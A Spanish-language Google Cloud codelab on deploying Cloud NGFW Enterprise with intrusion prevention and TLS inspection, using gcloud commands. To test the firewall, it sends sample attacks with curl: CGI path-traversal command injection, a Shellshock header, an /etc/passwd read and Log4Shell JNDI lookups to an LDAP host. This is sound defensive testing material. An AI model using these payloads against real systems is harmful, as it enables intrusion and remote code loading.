1. Introducción
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzada, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de los ataques internos y externos.
Cloud NGFW tiene los siguientes beneficios:
- Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado basada en el host completamente distribuida en cada carga de trabajo para habilitar una arquitectura de seguridad de confianza cero.
- Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
- Control detallado y microsegmentación: La combinación de políticas de firewall y etiquetas administradas por Identity and Access Management (IAM) proporciona un control detallado para el tráfico norte-sur y este-oeste, hasta una sola VM, en redes y organizaciones de nube privada virtual (VPC).
Cloud NGFW está disponible en los siguientes niveles:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise agrega el Servicio de prevención de intrusiones (IPS) y las capacidades opcionales de Zona de pruebas avanzada contra malware (WildFire), que son servicios de inspección de capa 7, a la estructura distribuida de Google Cloud Firewall. Se admite la inspección de TLS para permitir la inspección profunda y el análisis de archivos para el tráfico encriptado con TLS.
Ahora puedes implementar inspecciones confiables de firewall de nueva generación (NGFW) de capa 7 con controles detallados, sin realizar cambios en la arquitectura de red ni en las configuraciones de enrutamiento.
Para activar e implementar el control de firewall de capa 7 con IPS y la zona de pruebas avanzada contra malware opcional, debes realizar las siguientes tareas:
- Crear un conjunto de extremos de firewall zonales administrados por Google Cloud (opcionalmente, habilitar la zona de pruebas avanzada contra malware)
- De manera opcional, crea una política de inspección de TLS.
- De manera opcional, crea una configuración de confianza.
- Asocia estos extremos con las redes de nube privada virtual (VPC) en las que necesitas el servicio de Cloud NGFW Enterprise.
- Realiza cambios simples en tus políticas de firewall y reglas de firewall existentes para especificar los perfiles de seguridad de prevención de amenazas y de zona de pruebas avanzada contra malware opcional para las distintas rutas de tráfico.
Políticas de firewall de red
La política de firewall de red funciona como un contenedor para las reglas de firewall. Las reglas definidas en una política de firewall de red no se aplican en ningún lugar hasta que la política se asocia con una red de VPC. Cada red de VPC puede tener una política de firewall de red asociada. Las políticas de firewall de red admiten etiquetas controladas por IAM (o solo etiquetas) en las reglas de firewall, que reemplazan las etiquetas de red actuales y se pueden usar para proporcionarle identidad a la carga de trabajo.
Compartir una política de firewall de red en varias redes y la integración con etiquetas controladas por IAM simplifica en gran medida la configuración y administración de firewalls.
Con la introducción de la política de firewall de red, las políticas de firewall de Google Cloud ahora constan de los siguientes componentes:
- Política de firewall jerárquica
- Reglas de firewall de VPC
- Política de firewall de red ( global y regional)
Las políticas de firewall jerárquicas se admiten en los nodos de organización y carpeta dentro de la jerarquía de recursos, mientras que las reglas de firewall de VPC y las políticas de firewall de red se aplican a nivel de VPC. Una gran diferencia entre las reglas de firewall de VPC y las políticas de firewall de red es que las primeras solo se pueden aplicar a una sola red de VPC, mientras que las políticas se pueden adjuntar a una sola VPC o a un grupo de VPC, entre otros beneficios como las actualizaciones por lotes.
Por último, también tenemos las reglas de firewall implícitas que se incluyen en cada red de VPC:
- Una regla de salida cuya acción es permitir, el destino es 0.0.0.0/0
- Una regla de entrada cuya acción es denegar, el origen es 0.0.0.0/0
De forma predeterminada, la secuencia de aplicación se muestra en el siguiente diagrama:

Ten en cuenta que se puede intercambiar el orden de aplicación entre las reglas de firewall de VPC y la política de firewall de red global. Los clientes pueden especificar el orden de aplicación en cualquier momento con un comando de gcloud.
Etiquetas
Las nuevas etiquetas integradas en las reglas de políticas de firewall de red son recursos de pares clave-valor definidos en el nivel de organización o de proyecto de la jerarquía de recursos de Google Cloud. Una etiqueta de este tipo contiene controles de acceso de IAM que especifican quién puede hacer qué en la etiqueta. Por ejemplo, los permisos de Identity and Access Management (IAM) permiten especificar cuáles principales pueden asignarles valores a las etiquetas y cuáles pueden adjuntar etiquetas a los recursos. Si una regla de firewall de red hace referencia a una etiqueta, esta se debe aplicar a un recurso para que se aplique la regla.
Las etiquetas de política se adhieren al modelo de recursos de herencia de Google Cloud, lo que significa que estas y sus valores se transmiten a través de la jerarquía desde sus elementos superiores. Como resultado, las etiquetas de política pueden crearse en un lugar y usarse en otras carpetas y proyectos en toda la jerarquía de recursos. Visita esta página para obtener detalles sobre las etiquetas y la restricción de acceso.
Las etiquetas no deben confundirse con las etiquetas de red. Estas últimas son cadenas que se pueden agregar a las instancias de Compute Engine; se asocian con la instancia y desaparecen cuando esta se retira. Las reglas de firewall de VPC pueden incluir etiquetas de red, pero como no se consideran recursos de la nube, no están sujetas al control de acceso de IAM.
Ten en cuenta que las etiquetas y las etiquetas gobernadas por IAM se usan indistintamente en este documento.
Qué compilarás
Para este codelab, se requiere un solo proyecto y la capacidad de crear una red de VPC, así como administrar una serie de recursos de red y seguridad. Se demostrará cómo Cloud NGFW Enterprise puede proporcionar la funcionalidad de IPS y de zona de pruebas avanzada contra malware (WildFire) a través de las siguientes acciones:
- Inspecciona los flujos de Internet hacia el norte con la inspección de TLS
- Inspecciona los flujos de intra-VPC [este-oeste] con la inspección de TLS
- [Opcional] Configura y valida el envío de archivos y el análisis forense de la zona de pruebas avanzada contra malware para detectar amenazas desconocidas basadas en archivos en el tráfico inspeccionado por TLS
Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia de Cloud Firewall, incluidas las 5 tuplas (IP de origen, IP de destino, protocolo, puerto de origen y puerto de destino) y las etiquetas.

El estado final de la base de reglas de la política de firewall de red será similar al de la siguiente tabla:
Prioridad | Dirección | Destino | Fuente | Destino | Acción | Tipo |
100 | Entrada | Server_Tag | Verificaciones de estado | Cualquiera | Permitir | Imprescindibles |
200 | Entrada | Client_Tag, Server_Tag | IAP | Cualquiera | Permitir | Imprescindibles |
800 | Entrada | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | Inspección de L7 | Enterprise |
850 | Salida | Client_Tag | Cualquiera | 10.0.0.0/24 | Permitir | Imprescindibles |
900 | Salida | Client_Tag | Cualquiera | Cualquiera | Inspección de L7 | Enterprise |
Qué aprenderás
- Cómo crear una política de firewall de red
- Cómo crear y usar etiquetas con la política de firewall de red
- Cómo configurar y usar Cloud NGFW Enterprise con inspección de TLS
- [Opcional] Cómo configurar y validar la zona de pruebas avanzada contra malware (WildFire) para amenazas desconocidas basadas en archivos
Requisitos
- Proyecto de Google Cloud.
- Conocimientos sobre la implementación de instancias y la configuración de componentes de redes
- Conocimientos sobre la configuración de firewalls de VPC
2. Antes de comenzar
Crea o actualiza variables
En este codelab, se usan $variables para ayudar a implementar la configuración de gcloud en Cloud Shell.
En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. Habilita las APIs
Habilita las APIs si aún no lo hiciste:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Creación de extremos de Cloud NGFW Enterprise
Como la creación del extremo de Cloud NGFW Enterprise tarda unos 20 minutos, se creará primero, y la configuración básica se puede realizar en paralelo mientras se crea el extremo.
Crea el perfil de seguridad y el grupo de perfiles de seguridad:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Resultado esperado:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Confirma que los recursos se hayan creado correctamente:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se use):
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Crea el extremo de Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Ejecuta el siguiente comando para confirmar que se está creando el extremo (CREATING) o que está ACTIVE si usaste --no-async.
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se use):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
De manera opcional, ejecuta el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Resultado esperado:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
El proceso de creación tarda unos 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.
5. Configuración básica
Red de VPC y subred
Red de VPC y subred
Crea la red y la subred de VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Crea el Cloud Router y la puerta de enlace de Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instancias
Crea las instancias de cliente y de servidor web:
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
Etiquetas de instancia a nivel del proyecto
Asigna el permiso tagAdmin al usuario si es necesario:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Crea la clave y los valores de la etiqueta a nivel del proyecto:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Vincula las etiquetas a las instancias:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Política de firewall de red global
Crea una política de firewall de red global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Crea las reglas de Cloud Firewall Essential necesarias para permitir el tráfico de los rangos de verificación de estado y de proxy compatible con la identidad:
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
Crea las reglas de Cloud Firewall necesarias para permitir el tráfico de entrada este-oeste o dentro de la subred desde los rangos específicos (estas reglas se actualizarán para habilitar Cloud NGFW Enterprise con inspección de TLS):
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Asocia la política de firewall de Cloud a la red de VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Asociación del extremo de Cloud Firewall
Define las variables de entorno en caso de que aún no lo hayas hecho o si prefieres el enfoque de la secuencia de comandos.
Confirma que la creación del extremo de Cloud Firewall se haya completado correctamente. Continúa solo cuando el estado se muestre como ACTIVE (durante la creación, el estado esperado es CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se use):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
De manera opcional, ejecuta el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Resultado esperado:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Asocia el extremo de Cloud Firewall a la red de VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
El proceso de asociación tarda unos 10 minutos. Solo continúa con la sección de TLS una vez que el estado se muestre como ACTIVE (durante la creación, el estado esperado es CREATING):
gcloud network-security firewall-endpoint-associations list
Resultado esperado cuando se complete:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
De manera opcional, ejecuta el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Resultado esperado:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. Configura recursos de TLS
Crea un grupo de AC. Este recurso se usará para alojar el certificado de la AC raíz que generamos para NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Crea la CA raíz. Este es el certificado de la AC que se usará para firmar certificados adicionales para las solicitudes a través de NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Si aparece el siguiente mensaje, responde y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Crea una cuenta de servicio. Esta cuenta de servicio se usará para solicitar certificados para NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Configura los permisos de IAM para la cuenta de servicio:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Crea el archivo YAML de la política de TLS. Este archivo contendrá información sobre los recursos específicos:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Importa la política de inspección de TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Actualiza la asociación de extremos para habilitar TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Obtén el certificado de la AC y agrégalo al almacén de AC del cliente:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Transfiere el certificado de la AC al cliente:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Establece una conexión SSH con la VM, mueve el certificado de la AC a /usr/local/share/ca-certificates y actualiza el almacén de la AC:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Sal y vuelve a Cloud Shell.
Proceso de firma de certificados del servidor:
En Cloud Shell, instala la biblioteca de criptografía Pyca con el comando pip:
pip install --user "cryptography>=2.2.0"
Para permitir que el SDK de Google Cloud use la biblioteca de criptografía de Pyca, debes habilitar los paquetes de sitio.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Crea el certificado del servidor:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Esto generará un archivo cert.pem y key.pem en Cloud Shell. A continuación, transfiere el certificado y la clave al servidor.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Establece una conexión SSH con el servidor para actualizar los detalles del certificado de Apache:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Mueve el certificado y la clave a una carpeta específica:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
Actualiza la configuración de SSL para usar el certificado firmado:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Reinicia Apache:
sudo systemctl restart apache2
Verifica el estado de Apache:
sudo systemctl status apache2
Debería estar activo (en ejecución).
Sal de la VM y continúa en Cloud Shell.
8. Valida la conectividad norte-sur y este-oeste
Ejecuta los siguientes comandos en Cloud Shell y toma nota de las IP de destino que se usarán:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Abre una pestaña nueva y, luego, inicia una conexión SSH a la VM del cliente a través de IAP (deberás definir las variables en la pestaña nueva):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Ejecuta los siguientes comandos y toma nota de las IPs de destino que se usarán. Crea las variables reemplazando los valores entre corchetes por las IPs anotadas en el paso anterior y asegúrate de que se pueda acceder a ellas:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Ejecuta curl en la IP privada y asegúrate de que se pueda acceder a ella:
curl https://$target_privateip --max-time 2
Resultados esperados para la solicitud curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
Envía ataques de muestra a la IP. El servidor web debería responder a todas las solicitudes, lo que confirma que no hay una inspección o prevención de L7 implementada:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Resultados esperados de muestra (IP privada):
400 404 400 200 200
Del mismo modo, envía solicitudes a un destino de Internet:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Resultados esperados de muestra (destino de Internet):
400 404 400 403 403
Sal de la terminal de la VM y regresa a Cloud Shell.
9. Crea y actualiza reglas de firewall para la inspección de TLS
Anteriormente, configuramos una regla de firewall para permitir el tráfico de entrada a nuestro servidor desde la subred interna. Ahora, actualizaremos las reglas de entrada existentes y estableceremos la acción en apply_security_profile_group. Esto habilitará la inspección de L7 de este a oeste con TLS:
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Crea una regla nueva para inspeccionar el tráfico de norte a sur de la capa 7 con TLS.
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Crea una regla nueva para permitir la SALIDA de E/O y evitar la doble inspección.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Valida la inspección de TLS de norte a sur
Vuelve a la pestaña de la VM de cliente o conéctate de nuevo:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envía los ataques de muestra a un destino de Internet:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
No se reciben respuestas según el resultado esperado que se muestra a continuación, lo que confirma que los ataques de muestra ahora se están bloqueando:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Establece la variable en la IP del servidor que obtuviste antes:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Envía solicitudes de TLS de muestra al servidor:
curl https://$target_privateip --max-time 2
Resultado esperado:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
¿Por qué falló esta solicitud? Esto se debe a que el firewall recibe un certificado del servidor en el que no hay confianza. Si esto ocurre, se pasará un certificado autofirmado al cliente. Debemos agregar el certificado de la AC como parte de una configuración de confianza para habilitar la confianza.
Regresa a Cloud Shell.
11. Establece la configuración de confianza
Obtén el certificado de la AC raíz y configúralo como una variable con el formato adecuado.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Configura el archivo YAML de Trust Config. Este archivo contiene detalles de confianza, como los certificados de la AC:
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
Los comandos anteriores incluyeron tu certificado de la AC raíz como parte del almacén de confianza, ya que el certificado del servidor se firmó con la AC raíz. Esto significa que el firewall confiará en cualquier certificado que reciba que haya sido firmado por tu CA raíz, además de las CA públicas si tu política de TLS tiene excludePublicCaSet establecido como falso.
Verifica el contenido de la configuración de confianza.
cat trust_config.yaml
Resultado de muestra:
Presta mucha atención a la alineación de la sangría del certificado. Debe seguir este formato exactamente.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
Importa la configuración de confianza:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
Actualiza el archivo YAML de la política de TLS para incluir la configuración de confianza:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
